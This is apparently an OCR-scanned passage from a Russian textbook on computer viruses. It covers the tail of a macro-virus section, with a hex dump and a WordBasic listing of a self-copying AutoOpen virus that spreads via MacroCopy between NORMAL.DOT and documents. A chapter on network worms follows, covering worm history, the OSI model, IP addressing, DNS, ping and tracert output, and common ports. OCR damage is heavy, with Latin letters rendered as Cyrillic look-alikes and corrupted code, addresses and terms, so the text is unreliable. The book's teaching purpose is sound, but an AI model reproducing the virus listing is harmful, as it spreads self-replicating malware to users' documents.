0С50 6С 00 00 06 06 12 6С 0А 00 06 06 64 10 69 02 40 1 .1 . . . . 0 . 1 .М
0С60 24 0С 6А 0А 4Е 4Ғ 52 40 41 4С 2Е 44 4Ғ 54 1Е 64 $. ] .  ШМА1-. 00Т. 0
0С70 67 С2 80 69 02 47 24 12 69 02 46 24 64 67 54 00 д - А ь 0$Л . Ғ$йдТ.
0С80 73 СВ 00 0С 6С 01 00 64 20 64 67 С2 80 69 02 46 3 - . . 1 . .Й  йд -Ах .Ғ
0С90 24 12 69 02 47 24 12 6С 01 00 64 54 65 07 40 69 $. 1 . б $ Л . .йТе.М !
ОСА0 6Е 53 69 7А 65 19 64 1А 16

Вариант этого же вируса, «живутий» в документах МЗ \Уогс1 97, 
вмглядит следуювдим образом:
Р и Ь И с  ЗиЬ М А И О  
01т Ғ$
01т 5$
01Л! М$
0п Е гго г  йоТо -1: Оп Е гго г  ЗоТо Мш31ге 
Ғ$ = ИогйВазЮ . [Ғ11еМате$] ( )  + аиТОоРеп"
Е$ = "С1оЬа1:аиТ0оРея''
М$ = ЦСа5е(Мог:1Ва51с. [Я1дИг$](М огйВазю . [М асгоҒПеНате$] \

(МогбВаб1 С. [МасгоНате^КО)), Ю ))
1Т М$ = 'Н0НМА1.Э0Т" ТПеп 
ХогйВазхс.МасгоСору 5$, Ғ$

Е15е
«огаЗазгс.М асгоСору Ғ$, о$, 1
Епб 1Т
М1п31ге:
Епг) 5иЬ

Для макросов, автоматически оттранслированнмх из \Уогс1Ваз1с 
в УВА, МЗ \Уог<1 создает внутри документа отдельнне потоки с со- 
ответствуюхцими именами. Таким образом, вирус следует искать 
в потоке -«а1ГТОоРеп». Вот фрагмент этого потока, содержавдий упа- 
кованньш текст вируса:
0780 01 2Ғ В1 00 41 74 74 72 69 62 75 74 00 65 20 . . А П п Ь и г . е
0790 56 42 5Ғ 4Е 61 60 00 65 20 30 20 22 61 55 54 00 УВ_№л;.е = "а1Л.
07А0 4Ғ 6Ғ 50 65 6Е 22 00 0« 00 00 0А 50 75 62 6С 69 ОоРеп"......... РиЬИ
07В0 63 00 20 53 75 62 20 40 41 49 00 4Е 28 29 00 0А с, 5иЬ М А 1 .К () ..
0700 44 69 60 А6 20 46 24 03 1С 47 04 0Е 40 00 0Е 00 О м и  Ғ$. С. .М.
0700 4Ғ 6Е 20 45 72 72 6Ғ 72 00 20 47 6Ғ 54 6Ғ 20 20 0п Е гго г. ЕоТо -

Первмй же взгляд на исходнне текстн вируса позволяет сделать 
вьгеод, что он (вирус) работает по классической схеме: получа- 
ет управление при загрузке любого документа, определяет, откуда 
стартовал (из документа или из «NО КМАI..ООIV), и копирует себя 
в «противоположнмй» объект (то есть из глобального шаблона -
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в документ, и наоборот). Вирус не полиморфен, но зашифрован (в до- 
кументах, созданнмх в М5 \Уогс1 6.0/7.0).

5.5.2. Распознавание и удаление макровируса
Упакованньш текст неполиморфнмх УВА-вирусов постоянен и всег- 
да однозначно соответствует неупакованному тексту, так что распо- 
знавание можно производить без исходного текста, не вьшолняя опе- 
рации распаковки.

А вот неполиморфнне, но зашифрованнне \Уогс1Ва5к-вирусь1 не 
имеют постоянной сигнатурн, так как при каждой операции копиро- 
вания макросов при помоши МасгоСору ключ для шифрования их 
«р-собе» М5 \\,гогс1 внбирает сам и делает это каждьга раз случайннм 
образом. Таким образом, для распознавания подобннх вирусов необ- 
ходимо предварительно раскодировать «р-сос!е».

Если же макровирус полиморфен, то в любом случае без восста- 
новления и автоматического анализа его исходного текста обойтись, 
по-видимому, невозможно. К счастью, вирус Масго.\¥огс1.\Уа2 2и.£\у 
к классу полиморфннх не относится.

Поскольку макровирусн написанн на язьжах внсокого уровня 
и подчас на 90% состоят из тех же ключевнх слов, команд и блоков 
кода, что и вполне «благонамереннне» макросн, для их распознава- 
ния рекомендуется использовать длиннне сигнатурн -  размерами, 
по крайней мере, в несколько сотен байтов. А можно и контрольнне 
суммн -  именно такой подход продемонстрирован в приложении.

Методики удаления вируса из документа описанн внше. Примери 
процедур приведенн в приложении.



ГЛАВА

Сетевме и почтовь1е 
вирусь! и черви

Саморазмножаювдиеся программм, о которнх сейчас пойдет речь, 
объединенм в обвдую группу в связи со способностью самостоятельно 
перемевдаться с компьютера на компьютер, без использования каких- 
либо промежуточнмх носителей типа дискет, СО, флэшек и т. п. Это 
возможно благодаря сувдествованию и широкому распространению 
компьютернъис сетей.

Большинство вирусов, распространяювдихся по компьютерннм 
сетям, не прикрепляются к другам программам. Более того, некото- 
рне из них не имеют даже своего программного файла, а сувдеству- 
ют только в оперативной памяти в виде процессов. Это означает, что 
все они преимувдественно принадлежат к классу вирусов-червей (или 
просто червей).

6.1. Краткая история сетей и сетевой 
«варавь!»

-  Они разравнивают завал, -  объяснил Лю. -  
Склад почти готов. Сейчас вся система пере- 
страивается. Они будут строитъ ангар и 
водопровод.

А. и Б. Стругацкие. 
«Возвравдение» («Полдень. XXII век»)

Компьютерние сети как системм информационной связи между от- 
дельньши компьютерами начали разрабатьхваться в США с конца 
1950-х годов. Спустя десятилетие, к концу 1960-х годов уже сувдест- 
вовали не только многочисленньхе локальние сети (объединявшие 
расположеннме рядом. компьютерм), но и по крайней мере одна гло-



372 ❖ Сетевье и почтовье вирусь! и черви

балъная сеть АК.РАКЕТ, связавшая в единое информационное про- 
странство несколько крупннх научно-исследовательских и военннх 
центров США. Для организации связи между компьютерами исполь- 
зовались самая разнообразная, давньхм-давно потерявшая актуаль- 
ность и ньше совершенно забнтая аппаратура. О программннх реше- 
ниях и говорить не приходится: в те времена сушествовало множество 
разновидностей ЭВМ, все они внпускались сравнительно неболь- 
шими «тиражагшх», и каждая работала под управлением собственной 
операционной системн. Пожалуй, именно этот разнобой и служил на 
ранних этапах препятствием к широкому распространению сетей.

Тем не менее в последуювдие годн количество клиентов АКРАНЕТ 
постоянно увеличивалось за счет американских участников, а в 1973 г. 
к ней бьши впервне подключенн и иностраннне (норвежские и анг- 
лийские) организации.

Примерно к середине 1970-х годов относятся и первне забавн с са- 
мостоятельно распространяюшимися по сети программами. В лите- 
ратуре можно встретить описание программн Сгеерег («Вьюнок»), 
написанной неким Бобом Томасом и способной перемешаться от 
компьютера к компьютеру. Скопировавшись на чужую машину, про- 
грамма т}т же удаляла свой «оригинал», таким образом, невозможно 
бнло предсказать, где она находится в конкретннй момент времени. 
Упоминается и -«антивирус» для нее -  программа Кеарег («Жнец») 
Рэя Томлинсона.

На протяжении 1970-х годов сети множились и росли. Активно 
разрабатнвались и утверждались в качестве стандартов новне аппа- 
ратнне средства и сетевие протоколи -  то есть правила и алгорит- 
мн информационного обмена. Бнл разработан прототип технологии 
ЕгЬетеС. Появились первоначальньхе версии протоколов ТСР/1Р, 
ставших официальньши стандартами несколько позже -  в 1983 г. Для 
передачи электронной почтн (а сети тех лет в основном для этого и 
бнли предназначенн) начали применяться протоколн РОР и 5МТР. 
К концу 1970-х годов широкую популярность приобрели операцион- 
нне системь1 семейства 11НIX. Они устанавливались в лабораториях, 
вузах, на предприятиях и т. п. Не случайно именно разновидности 
этой операционной системн обнчно становились средой, в которой 
разрабатнвались и отлаживались новне сетевие протокольх. Это об- 
стоятельство служило на пользу стандартизации и унификации сете- 
внх решений.

В 1980 г. двое исследователей (Дж. Шоч и Й. Хапп) из компании 
«Хегох» решили реализовать красивую идею программн, которая не
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только копировалась бн по сети с машинн на машину. но и использо- 
вала бн их вьгчислительнне мошности «в мирннх целях» [60]. Пред- 
полагалось, что ресурсн должнн бнли использоваться только в тече- 
ние того интервала времени, пока машина простаивала. Как только 
машина начинала внполнять задания «законного» пользователя, 
«чужая» программа самоудалялась с компьютера. Результатн экс- 
перимента били опубликованм и одобренн. Но в настояшее время 
почему-то считается, что технологии распределенннх вмчислений, 
основаннне на мобильних агентах (то есть на фрагментах программ- 
ного кода, перемешаеммх от машинн к машине), дают меньше пре- 
имушеств, чем технологии, предусматриваюшие раз и навсегда инс- 
таллированнне на машине фрагментн кода, обмениваюшиеся друг 
с другом сообшениями (например, Сг1Й-технологии). А «червь», ис- 
пользованньш Шочем и Хаппом, вошел в историю вирусологии под 
названием «Хегох луогш».

В 1980-е годм окончательно сформировались большинство совре- 
менннх протоколов передачи данннх, используемнх до настояшего 
времени. Оформились и развились несколько крупннх глобальннх 
сетей (кроме АКРАНЕТ, можно отметить «военную» сеть МИНе1 , «на- 
учную» сеть МЗҒ и т. п.). В самом конце десятилетия началось слия- 
ние АКРАКТЕТ и М8 Ғ в одну глобальную суперсеть -  ШТЕККЕТ. 
Можно упомянуть также некоммерческую сетъ ҒШО, которая содер- 
жалась на средства энтузиастов, позволяла обмениваться электрон- 
ньши письмами и поддерживала ВВ5 («электроннне доски объяв- 
лений») -  подл^шнне «складн» документов, картинок, программ... 
а заодно и файловнх вирусов. Интересно, что ҒШО сувдествует до 
сих пор и принципиально сохраняет автономию от Интернета.

В начале ноября 1988 г. 23-летний аспирант Корнелльского уни- 
верситета Роберт Моррис-младший запустил в локальную сеть свое- 
го университета саморазмножаюшуюся программу. Практически 
все сетевме узлн в конце 1980-х годов работали под той или иной 
разновидностью операционной системм ОК1Х. Червь Морриса бнл 
ориентирован на две из них: В50 СК1Х 4.3 (для компьютеров УАХ) 
и 5ип05 (для компьютеров 5ип). Он использовал несколько гру- 
бмх «дьгр» в сетевнх службах этих операционннх систем, что по- 
зволяло перетаскивать свой исходньга текст с машинн на машину 
компилировать его и запускать получаюшийся загрузочннй модуль. 
А пароли на доступ к чужим компьютерам червь просто-напросто 
подбирал, использовав заранее заготовленннй список из примерно 
400 слов. Поскольку сеть являлась частью АКРАКЕТ, вирус доволь-
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но бмстро распространился за пределм университетского сегмента. 
Он содержал ошибки в продедуре, проверяюшей зараженность ма- 
шии. Благодаря этому в оперативной памяти компьютера нередко 
оказмвалось несколько параллельно работавших вирусннх процес- 
сов, что сильно снижало производительность системн. Некоторне 
компьютерн даже зависали. В несколько раз внрос и трафик. На- 
чались массовне отключения зараженннх машин и сетевнх сегмен- 
тов. Наиболее квалифицированньхе специалистн, обслуживаювдие 
АКРАхЧЕТ. занялись изучением вируса и способов его удаления из 
системн, но в условиях распадакицихся сетевмх коммуникаций им с 
трудом удавалось налаживать взаимодействие. Невольной жертвой 
экстремального трафика стал и сам Моррис, испугавшийся масшта- 
бов инцидента и решивший исправить ситуацию при помоши ано- 
нимного электронного письма с описанием «противоядия», -  оно 
просто не дошло до адресатов. Тогда автор червя явился в ФБР с по- 
винной. Хаос в американских глобальннх сетях продолжался око- 
ло полутора суток, потом специалистм разобрались в особенностях 
«заразн», разработали мерьх противодействия и обуздали червя. По 
официальньш данньш, им бмли зараженм около 6200 компьютеров 
(что составило около 7% всех узлов сети), обший ушерб составил 
более 98 млн долларов.

«Червь Морриса» (американцам более известннй под незатейли- 
внм наименованием •« 1п1ете1 \ ^ о г т ) опередил свое время почти на 
десятилетие. На протяжении 1990-х годов никто из вирусописателей 
не рискнул повторить «подвиг» Роберта Морриса: в моде бнли фай- 
ловне вирусн для М 5 -0 0 3  и \У1пс1о\у5. Зато инцидент с этим червем 
послужил толчком к созданию СЕКТ (СотриСег Етег^епсу Кезропзе 
Теат) -  некоммерческой международной организации, объединив- 
шей специалистов в области сетевой безопасности.

А сети тем временем продолжили свое бурное развитие. В 1989 г. 
бнла сформулирована концепция гипертекста, вскоре появились 
спецификация НТМЬ и протокол НТТР. В 1993 г. бнл написан пер- 
вьш \У\У\У-браузер М5С.А Мо5а1с, доступньш в виде исходннх тек- 
стов и послуживший основой для всех более поздних разработок -  
и Ке1зсаре КаУ1§аЮ г/Соттишса1 ог, и 1п1егпе1 ЕхрЬгег. и Орега, 
и Ғ1'ге£ох. Первне петли Всемирной паутинн легли на параллели и 
меридианм Земного шара. Сайтн росли и множились на всех конти- 
нентах, как грибн. Количество пользователей росло по экспоненте. 
К 1996 году Интернет объединял уже около 9.5 млн компьютеров во 
всем мире.
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Вирусописатели обратили на него свое присталъное внимание 
лишь в начале 1999 года. Но об этом чуть позже...

6.2. Архитектура современньос сетей
...Это бьига система торов, цилиндров и ила- 
ров, связаюшх блеспиицими тросами...

А. и Б. Стругацкие. «Стажерн»

За почти полувековую историю развития компьютернмх сетей бнла 
внстроена огромная и сложная система, в основе которой лежат тн- 
сячи и тнсячи разнообразннх аппаратннх устройств, программннх 
продуктов и протоколов взаимодействия. Необходимо, хотя би в об- 
1дих чертах, представлять себе основнне принципн ее устройства и 
функционирования [23].

6.2.1. Топология сетей
Компьютерную сеть удобнее представлять себе в виде множества 
узлов -  отдельннх машин, объединенннх в единую систему посред- 
ством физических и логических связей.

Сушествуетусловное разделение сетей на локальние (чьи компью- 
терн расположенм на небольших расстояниях друг от друга) и гло- 
бальние (с далеко расположенннми компьютерами). Ранее фактор 
расстояния накладнвал большие ограничения на используемую 
аппаратуру и протоколн связи. Б настоягцее же время, в связи 
с прогрессом в области обеспечения устойчивости связи, вполне 
возможна ситуация, когда «локальнне» устройства и протоколн ис- 
пользуются для связьшания компьютеров, расположенннх в разннх 
полушариях Земли, а «глобальнне» -  для обмена взаимодействия 
между двумя компьютерами, стояшими на соседних столах. Поэто- 
му под «локальньши» сетями сейчас обнчно понимаются множест- 
ва машин, принадлежаших одной организации и используюших 
обшие принципн связи. Соответственно, «глобальная» сеть -  это 
конгломерат из нескольких локальннх сетей. Ну и, наконец, Ин- 
тернет -  система всех локальннх и глобальннх сетей планетн Зем- 
ля, имеюших непосредственную или косвенную информационную 
связь друг с другом.

Каждая конкретная сеть может иметь определенную топологию -  
«кольцо», «шину», «звезду» и т. п. Для того чтобм различать узлн 
в сети, кажднй из них имеет собственнмй идентификатор -  адрес.
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Сеть2

Некоторне узльз могут иметь несколько адресов. Ничего необнчно- 
го, верно? Ведь даже популярннй персонаж романов Ю. Семенова 
в фашистской Германии бил известен как штандартенфюрер СС 
Макс Огго фон Штирлиц, в системе советской разведки -  как пол- 
ковник госбезопасности М. М. Исаев, а дома, в кругу ближайших 
родственников -  как Сева Владимиров. Система назначения не- 
скольких адресов одному узлу может бить различной. Например, 
узел «1.4» первой сети может рассматриваться как элемент второй 
сети и поэтому иметь дополнительньш адрес «2.5». Но возможен и 
другой подход, когда все подобнне узлн считаются элементами евде 
одной сети с адресами (А, В, С, 0 ), в этом случае узел получит до- 
полнительннй адрес «А».

«Рядовне» узлн, связаннне только с узлами своей собственной 
сети, мн будем назьгеать хостами. На узлн, которне связнвают раз- 
личнне сети и имеют в них различнне адрееа, обнчно возлагаются за- 
дачи внбора направлений информационннх потоков, курсируклцих 
между сетями. Такие узлн мн будем назнвать маргирутизаторами 
(если они связнвают однороднне, устроеннне по одним и тем же 
правилам сети) или шлюзами (если связнваемне сети разнородни). 
Справедливости ради следует упомянуть евде мости -  устройства 
связи различннх сетей, которне тоже управляют информационньши 
потоками, но собственного адреса не имеют и потому для хостов не- 
заметнн, прозрачнм.
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6.2.2. Семиуровневая модель 180 081
При передаче информации по сети приходится решать множество 
различнмх локальнмх задач. Поэтому в 1980-х годах бмла разрабо- 
тана специальная иерархия этих задач, которая получила название 
«эталонной модели 130 051». Результат информационнмх преобра- 
зований, вьшолняеммх на той или иной ступени этой иерархии, слу- 
жит исходннми даннмми для следуюшей операции, вмполняемой 
на следуюшей ступени. В соответствии с этим сетевне технологии 
становится удобно проектировать и реализовнвать в виде множества 
автономннх программно-аппаратннх модулей, внполняювдих те или 
инне задачи и передаюших рез\'льтат далее.

Модель 130 051 содержит семь «ступеней».
1. На физическом уровне решаются задачи передачи сигналов от 

устройства к устройству. Стандартн этого уровня описнвают 
средн передачи данннх (электрические и оптоволоконнне ка- 
бели, радиоэфир и т. п.), количественньш параметрн сигналов, 
геометрические характеристики разъемов и т. п.

2. Канальнъш уровень посвявден вопросам передачи отдельннх 
битов информации. Например, протокол канального уровня, 
описанннй в стандарте К.5-232, модразумевает передачу отдель- 
ннх битов уровнями постоянного напряжения, собранннми 
в информационнне пакетн и включаюшими «стартовьш» бит, 
группу информационннх битов, бит контроля целостности, 
«стоповьш» бит и т. п. Также на этом уровне «живут» физи- 
ческие адреса устройств, обеспечиваюших информационную 
связь, например уникальнне МАС-адреса, намертво «зашитне» 
в сетевне адаптерн.

3. Сетевой уровень решает задачи назначения отдельннм устрой- 
ствам логических адресов, \'становления соответствия между 
логическими и физическими адресами, внбора пути информа- 
ционного потока между узлами одной сети и т. п. Разработанн 
несколько альтернативннх адресннх систем, но главенствую- 
Шую роль в современном Интернете играет система 1Р-адресов 
(речь о ней пойдет дальше).

4. Транспортньш уровень отвечает за сложнейшую задачу прове- 
дения «информационннх поездов» от начальной до конечной 
«станции». На короткие расстояния небольшие «поезда» водит 
более простой и бьгстрнй протокол Ь’ Г) Р, а длинньши «поезда- 
ми дальнего следования» управляет более надежннй протокол 
ТСР.
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5. Сеансовьш уровень занимается вопросами разрешения и запре- 
гдения сетевого взаимодействия между различньши участника- 
ми информационного обмена.

6 . Уровенъ представления отвечает за форму представления дан- 
нмх. Здесь решаются вопросн сжатия, кодирования и шифро- 
вания передаваемой информации.

7. Наконец, уровень приложений поддерживает все многообра- 
зие услуг, предоставляеммх конечному пользователю: прием и 
передачу электронной почтн (протоколн РОРЗ, 1МАР, 5МТР), 
скачивание файлов из архивов (протоколн ҒТР и ТҒТР), про- 
смотр гипертекстовнх \¥ \¥ \ \ ;-страниц (протокол НТТР), уда- 
ленное управление компьютерами и т. п.

Начиная с канального уровня, порции передаваемнх по сети 
данньтх оформляются в виде гшкетов, которне представляют со- 
бой собственно информационньга блок плюс служебньш заголовок, 
оформленннй в соответствии с правилами того или иного протокола. 
В терминах ТСР/1Ш Р пакетн также иногда назьшают дейтаграмма- 
ми (датаграммами).

Не следует, однако, думать, что порция данннх, передаваемая по 
сети, должна претерпеть столько последовательннх преобразований, 
сколько «ступенек» 150 051 она проходит. Например, если в соот- 
ветствии с настройками сети шифрование и сжатие данннх не требу- 
ется, то уровень представления может бнть пропувден. И наоборот, на 
определенннх «ступеньках» для обеспечения продвижения поршш 
данннх может бнть задействовано множество (иногда более десят- 
ка!) протоколов одного и того же уровня.

Протокол того или иного уровня, получив пакет от другого про- 
токола, обьмно рассматривает его целиком, как неделимьш набор 
данннх. Он может каким-либо образом преобразовать его, например 
зашифровать или разделить на несколько частей. В любом случае, 
каждую вновь полученную порцию данннх он снабжает своим за- 
головком и отснлает дальше. На приемном конце необходимо «ото- 
драть» заголовки, склеить блоки данннх в единое целое, расшиф- 
ровать их и т. п. Таким образом, порядок применения операций при 
передаче и приеме порций данннх различен, более того, он противо- 
положен. Поэтому набор взаимодействуюадих протоколов нередко 
назмвают астеком протоколов».

6.2.3. 1Р-адресация
Разработано и используется большое количество разнообразньк техно- 
логий сетевого взаимодействия, основанннх на тех или иннх группах
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протоколов. Например, пользователям первой половинм 1990-х го- 
дов памятнн технологии фирмь; Мо\ге11, обеспечиваювдие офисам 
распределенннй дост\тп к централизованнмм базам даннмх и осно- 
ваннме на протоколах семейства 1РХ/5РХ. Любители «пострелять 
в чудовивд» Д О Л Ж Н Ь ! помнить простой и бнстрнй сетевой протокол 
^еШ Ю З, которнй по умолчанию поддерживался такими компью- 
терннми играми, как «Боот», «Негег^с», «^иаке» и т. п. Но к концу 
прошлого столетия главенствуювдее значение приобрела технология, 
основанная на 1Р-адресации и двух транспортньк протоколах: ТСР 
и 1ШР. И такое положение дел не просто сохранилось до настоявдего 
времени, но и сувдественно укрепилось.

Б первом десятилетии XXI века основную роль в сетях играет си- 
стема 1Р-адресации версии 4 (сокравденное наименование «1Ру4»), 
обладаювдая, по обвдему мнению, рядом недостатков, но пока «неза- 
менимая» в связи со своей широчайвдей распространенностью. В со- 
ответствии с требованиями стандарта 1Ру4 адрес узла представляет 
собой 32-битовое число. Нетрудно сообразить, что это накладава- 
ет ограничение на потенциальнне «размерн» Интернета: не более 
4 млрд узлов и, кроме того, огромное количество адресов являются 
зарезервированньши.

Принята форма записи адреса в виде четьгрех 8-битовнх октетов: 
ААА.ВВВ.ССС.ВБВ, причем каждьш октет записьшается десятич- 
ннм числом. Октетн «0», «127» и «255» играют особую роль. Число 
«0» в любой позиции означает «эту машину» или «эту сеть». Число 
«255» соответствует широковевдательному адресу, о котором долж- 
нн знать все машинн сети. Если первнй октет адреса равен «127», то 
данньга адрес сснлается на «закольцованннй интерфейс» -  фиктив- 
ную сеть, состоявдую только из одной локальной машинн. 1Р-адрес 
«127.0.0.1» (символическое обозначение -  «1оса1Ьозг») всегда бу- 
дет воспринят узлом как свой собственньга идентификатор, как «аз 
есмь», даже если машина физически не подключена к сети.

Узлн с первьш октетом в диапазоне 1-191 входят в крупнне гло- 
бальнне сети, охватнваювдие информационное пространство полу- 
шарий, континентов, государств и крупньк корпораций. Адреса, 
начинаюшиеся с 224-254, являются зарезервированньши. И только 
адреса, первьш октет которнх имеет значение в диапазоне 192-223, 
доступнм на «рннке». Впрочем, узлм внутри локальной сети, не 
имеювдие непосредственного внхода в Интернет, могут иметь произ- 
вольнме 1Р-адреса.

Кстати, в перспективном стандарте 1Р версии 6 (или просто 
«I Р\'6  ■>) под адрес отводится 128 битов. Этот стандарт уже реализо-
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ван в современнмх сетевмх операционнмх системах (например, в МЗ 
\Утс1о\У5 , начиная с версии 2 0 0 0 ), для его активации достаточно 
просто инсталлировать соответствуюший протокол и поставить «га- 
лочку» в свойствах сетевнх подключений... только вот как сделать это 
на всех компьютерах планетм одновременно?

На середину 2008 г. 8 6 % адресного пространства Интернета бьши 
уже исчерпанм. Однако накануне проводились исследования: какой 
процент 1Р-адресов Интернета реально задействован, то есть не прос- 
то отдан в пользование какой-либо организации, а присвоен реально 
работаклцей и откликаюшейся на внзовм машине. Результатн шоки- 
ровали экспериментаторов: огромное количество адресов оказались 
-шустьши» [56]. В 2011 г. бнло официально объявлено об исчерпании 
адресного пространства Интернета, однако свободнне адреса, зара- 
нее закупленнне предприимчивнми «спекулянтами», свободно про- 
даются и приобретаются на рннке в достаточннх количествах. Может 
бнть, не стоит пока торопиться с введением «1Р\'6»?

6.2.4. Символические имена доменов
Цифровне адреса узлов Интернета трудно запоминать, поэтому со- 
вместно с протоколом 1Р широко используется служба 1Ж8. Факти- 
чески она поддерживает таблицм, в которнх указанн соответствия 
между цифровьш адресом и символьньш именем узла.
127.0.0.1 1оса1поз1:
213.180.204.11 «ми.уа.пйех. гц
216.239.59.59 т т .  доод1е. ги

Подобная таблица имеется на каждом компьютере, в файле «С:\ 
\^П(1о\¥5\Ьо5Сз» или «С:\\У1пКТ\8у5Сет32\Вп\гег5\е1:с\Ьо5С5», и 
именно она используется в первую очередь для определения цифро- 
вого адреса по символьному. Правда, по умолчанию она пуста (если 
кто-нибудь -  сам пользователь или коварннй вирус -  не внес туда 
нужннх строк), и поэтому сетевне программн прикладного уровня 
обравдаются за помошью к специальннм ОК8 -серверам, которне со- 
держат десятки и сотни тнсяч, а иногда и миллионн подобннх запи- 
сей. В базах данннх ГЖ5-серверов содержатся «строки» различннх 
типов: «А» определяют соответствие символического и числового 
адресов; «N5» теазнвают на другие 0.\'5-серверм; «МХ» соответ- 
ствуют почтовьш адресам; «СКАМЕ» определяют псевдонимм для 
доменннх имен и т. п.
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Символическое имя, кроме удобства запоминания, служит еше 
для организации первичной иерархии сетевмх ресурсов. Так, саммй 
правьш компонент имени указмвает на тип ресурса или государство, 
которому ресурс принадлежит (например, .ги -  Россия, .иа -  Укра- 
ина, .сот -  коммерческая организация, ,ог§ -  некоммерческая орга- 
низация, .пе1 -  сетевой провайдер, .ес!и -  учебное заведение и т. п.). 
Остальнне элементн могут тоже бнть «говорявдими», так, например, 
сайт уупл .̂апт.|у1г.ги принадлежит команде антивируса Бг\УеЬ. Впро- 
чем, за «жареннми» доменньши именами идет большая охота, их про- 
дают и перепродают, так что порой имя сайта говорит только о том, 
что его владелец не прочь заманить к себе на ресурс побольше посе- 
тителей, использовав совершенно «левую» этикетку.

При организации сетевой завдитм нередко приходится решать за- 
дачу определения реального местоположения и принадлежности ре- 
сурса по символическому имени.

Утилита Р 1П§ (она есть и в \¥ тс 1о\У5, и  в 1Ж1Х) позволит не только 
определить качество связи с указаннмм узлом, но и сообвдит его циф- 
ровой 1Р-адрес:
Обмен пзкетаии с «мм.у!гив со« [207.97.216.211] по 32 байт:
О т в е т  о т  207.97.216 211: число бзйт=32 врвмя=299мс ТИ=58 
О т в е т  о т  207,97 216.211: число байт=32 время=258мс ТИ=58 
аремя ожидания запроса истекло.
Ответ с-т 207.97 216.211: число 6айт=32 время=255мс ТТ1=68 
Стзтистика Р1 пд для 207,97 216.211:

Пакетов: п.осл.ано = 4, полумено = 3, потеряно = 1 (25% потерь),
Лриблизитвльное время передачи и приема:

наименьшее = 255мс, наибольшее = 299мс, среднее = 270мс

Утилита Тгасегс (ее ЬтН1Х-аналог назнвается ТгасегоиСе) покажет 
путь через маршрутизаторн Всемирной паутинн, ведувдий к указан- 
ному ресурсу:
Трассироека маршрута к **мл'1гиз.сот [207.97.216.211] 
с максимальнум числом пеоеходоз 30.

1 257 мс 267 мс 245 мс 89.186. 244.60
2 388 мс 252 мс . Ь1д. зза и.ги [89.186 244.24]
3 248 мс 244 мс 244 мс 89.186. 225.241
4 243 мс 244 мс 285 мс бгпа15 .8гпа22.ТгапзТеХесол; пе* [217.150.61 142]
6 303 мс 340 мс 301 мс асИп-ь1- 1шк. т.еНа пеТ [213.248.78.73]
6 487 мс 303 мс 300 мс а Л в -ь ь г -Н п к . теИа. пеТ [80.91.252.22]
7 518 мс 333 МС 362 мс 1йп-ЬЬ2 -РОБ7-2-0 теНа.пеТ [213.248,65.1 57]
8 « 384 мс . азП-ЬЬ1 -И п к .ге Н а .п е г  [21 '3,248.65.210]
9 414 МС- 425 мс 390 мс гаскзра се - 106764-33(1-ЬЬ1. с Т еИ а . пет.

[213.248.38.118]
10 « 514 МС 441 мс у1ап901 ссге ' 1ао1 гаскзрасе.соя [69.20 1.10]
11 396 мс 405 мс 394 мс эддгБа 1ао1, гэ с к з р а с е .с о т  [69,20.2,19]
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И наконец, многочисленнме интернет-сайти, предоставляюшие 
услугу «\\̂ Ьо15» (например, ЬИр: /Лу\у\у.у/Ьо15.сотЛ. позволят узнать 
реального владельца ресурса и его основнне характеристики:
0ота1п Иаяе: УХЙЦЗ.СОМ 
Вед15Тгапг [21027]:
Оаггу, СИегпо):1'
ИеИпсош е УеШ гигев 1пс 

345 1о«ег Вег.ой Коас!
РепгюТоп
В.С.
У2А8У4
СА

Впрочем, не удивляйтесь, если этот сервис откажется сообадить 
даннне о владельце конкретного сайта или сообвдит о нем какую-ни- 
будь чушь. Дело в том, что организации, регистрирукнцие доменние 
имена, на самом деле не обязанм предоставлять информацию о своих 
клиентах первому встречному.

6.2.5. Клиенть! и серверь». Портм
Начиная с транспортного уровня, практически все взаимодействие 
между компонентами, реализуюшими тот или иной протокол, ведется 
в режиме «клиент-сервер». Это значит, что на одном узле еети при- 
сутствует сервер, умеюший вмполнять определеннмй набор функций 
и способньш воспринимать некотормй набор управляюших запросов 
или команд, а на другом узле -  клиентп, которнй хочет получить от сер- 
вера некую услу1у  и для этого поснлает ему управляюшие командн.

Типичньш клиент -  это прикладная программа, которая помогает 
пользователю получать доступ к сетевьш услугам. Например, поч- 
товне клиентн -  это программн типа Оийоок Ехргезз или 7ЪеВа(, 
а УАУШ-клиентн -  «браузерм» типа 1пСегпе1 Ехр1огег, МеСвсаре 
МаУ1§а(:ог/Сотшип1са(;ог, Орега, Ғ1ге£ох и т. п.

Типичнмй сервер -  это отдельная задача (то есть процесс или по- 
ток некоторого процесса), постоянно находяшаяся в памяти компью- 
тера и реагируюшая на приходяшие извне по сети запросн. В опе- 
рационной системе \¥тс 1о\\'5 она обмчно оформляется как служба 
(это гюнятие нам уже встречалось при изучении \¥) пс1 о\ч'.ч-вирз'сов), 
а в 1 '\ТХ-подоГ)ль1х системах такие задачи назнваются «демонами». 
Компьютер, которнй специально внделен для хранения сетевмх дан- 
нмх (например, \У \¥\\,г-страничек или файлов с почтовнми яшиками)
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и на котором «поднятм» (то есть запувденьт) задачи-серверм, обмчно 
так и назмвается — сетевьш или интернет-сервером. Впрочем, и на 
обмчном пользовательском компьютере по умолчанию бнвает запу- 
вдено немало сетевнх служб, которне ведут себя как серверн!

В памяти одного компьютера могут одновременно «крутиться» 
множество серверннх задач. Для того чтобн их различать, каждой 
присваивается уникальнмй номер, котормй назьюается номером пор- 
та или просто портом. В заголовке ТСР- или ШЗР-пакета, приходя- 
шего по сети и «приносяшего с собой» запросн и даннне, обязательно 
должен бьггь указан номер порта, то есть фактически идентификатор 
сервера, для которого этот пакет предназначен. Ну и, естественно, 
в заголовке должен присутствовать и номер клиентского порта -  куда 
отвечать.

Для большинства типичнмх сетевмх служб номера портов либо 
стандартизованн (с 0 по 1023), либо зарезервированн за популярнн- 
ми сетевнми приложениями (с 1024 по 4095). Вот некоторне их них 
(см. табл. 6 .1 ).

Твблица 6.1. Наиболее популярнме порти

Порт Тип
пакета Служба

7 ТСР/Ш Р Эхо
20, 21 ТСР ҒТР -  передача файлов
23 ТСР Те1пе1 -  виртуальний терминал
25 ТСР ЗМТР -  передача электронной почш
53 1ЮР 0№  -  служба доменнух имен
69 1ЮР ТҒТР -  упроиденная передача файлов
80 ТСР НТТР -  доступ к \ЛЛЛАЛ/-страницам
110 ТСР РОРЗ -  простой прием электронной почтм
119 ТСР Ш ТР  -  доступ к группам новостей
123 11ТР МТР -  служба сетевого времени
135 ТСР ЯРС -  распределеннмй доступ к компонентам ОС
137,138,139 ТСР Доступ к Ме1ВЮ5 через ТСР/1Р и ИВТ
143, 220 ТСР 1МАР -  прием электронной почтм
161 иор З^МР -  служебнме запросм
194,6667 ТСР 1Р0 -  «Ирка»
